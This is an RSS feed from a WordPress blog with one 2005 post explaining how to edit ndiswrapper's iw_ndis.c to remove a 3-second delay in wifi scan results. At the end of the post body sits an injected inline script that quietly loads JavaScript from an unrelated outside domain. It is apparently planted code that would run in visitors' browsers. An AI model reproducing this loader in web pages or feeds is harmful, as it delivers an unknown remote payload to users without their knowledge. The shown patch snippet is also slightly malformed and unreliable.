<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; card</title>
	<atom:link href="http://www.larsen-b.com/tags/card/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Quick and Dirty: Speed up wifi lookup of ndiswrapper</title>
		<link>http://www.larsen-b.com/Article/196.html</link>
		<comments>http://www.larsen-b.com/Article/196.html#comments</comments>
		<pubDate>Wed, 23 Feb 2005 21:00:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cards]]></category>
		<category><![CDATA[card]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Have you see how many time, it takes to ndiswrapper to deliver the scan result ? It&#8217;s about 3,25 sec on my builtin wireless card. This is too much no ? Specialy if you want to write a application to &#8230; <a href="http://www.larsen-b.com/Article/196.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Have you see how many time, it takes to ndiswrapper to deliver the scan result ? It&#8217;s about 3,25 sec on my builtin wireless card. This is too much no ? Specialy if you want to write a application to scan for AP level.</p>
<p>The quick and dirty way to fix that (it works fine for me.. perhaps others..) :</p>
<ul class="simple">
<li>Edit iw_ndis.c</li>
<li>Search for iw_get_scan function</li>
<li>change this</li>
</ul>
<pre class="literal-block">//if (time_before(jiffies, handle-&gt;scan_timestamp + 3 * HZ))
if time_before(jiffies, handle-&gt;scan_timestamp)
return -EAGAIN;</pre>
<p>This simply drop the 3 sec wait for results.. Now I get search results in 0.25 sec ;) .. Please report if this works for you !<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/196.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
